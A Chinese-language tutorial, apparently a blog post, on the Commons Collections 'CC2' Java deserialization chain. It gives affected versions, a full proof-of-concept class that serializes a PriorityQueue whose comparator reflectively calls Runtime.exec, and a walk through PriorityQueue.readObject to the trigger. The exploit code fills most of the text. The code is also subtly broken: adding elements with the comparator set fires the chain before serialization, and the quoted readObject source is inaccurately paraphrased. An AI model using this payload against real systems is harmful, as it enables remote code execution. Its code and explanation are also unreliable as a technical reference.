CC2

​​Apache Commons Collections 3.2.1 或 4.0​​(未修复版本)
​​JDK ≤ 8u71​​(高版本JDK需结合其他入口类绕过)

依赖

<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

POC

package org.example;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.PriorityQueue;

public class CC2POC {
public static void main(String[] args) throws Exception {
// 1. 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 获取Runtime类
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), // 反射调用Runtime.getMethod("getRuntime")
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), // 反射调用getRuntime.invoke(null)
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"} // 执行calc.exe
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 2. 设置TransformingComparator
TransformingComparator comparator = new TransformingComparator(chain);

// 3. 构造恶意PriorityQueue
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1); // 添加两个元素触发比较逻辑
queue.add(1);

// 4. 生成序列化Payload
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();

// 5. 模拟反序列化触发漏洞(实际攻击中需发送此Payload到目标)
// byte[] payload = baos.toByteArray();
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
// ois.readObject(); // 此处会弹出计算器
}
}

分析

TransformingComparator

TransformingComparator 是 Apache Commons Collections 库中的一个 ​
​比较器(Comparator)​​ 实现,
它的核心功能是:​​
在比较两个对象之前,先通过一个 Transformer 对它们进行转换,
再基于转换后的结果进行比较​​。

看一下具体方法的实现:

public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

public int compare(I obj1, I obj2) {
O value1 = (O)this.transformer.transform(obj1);
O value2 = (O)this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

也就是说这个类可以实现将两个值通过设定好的翻译器
翻译后再进行比较

调用compare()方法时触发翻译的操作

PriorityQueue

既然最后序列化的是他那么就先看一下readObject()方法
以及触发比较翻译器compare()方法的路径

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt(); // 读取队列大小
queue = new Object[initialCapacity]; // 初始化队列数组
for (int i = 0; i < size; i++)
queue[i] = s.readObject(); // 逐个读取元素
heapify(); // 重建堆结构(关键触发点)
}

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]); // 从中间节点开始调整堆
}

private void siftDown(int k, E x) {
if (comparator != null) // 使用自定义Comparator
siftDownUsingComparator(k, x);
else // 使用自然顺序
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1; // 左子节点
Object c = queue[child];
int right = child + 1; // 右子节点
if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0) // 调用Comparator.compare()
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

如此一来就成功的实现了计算器的弹出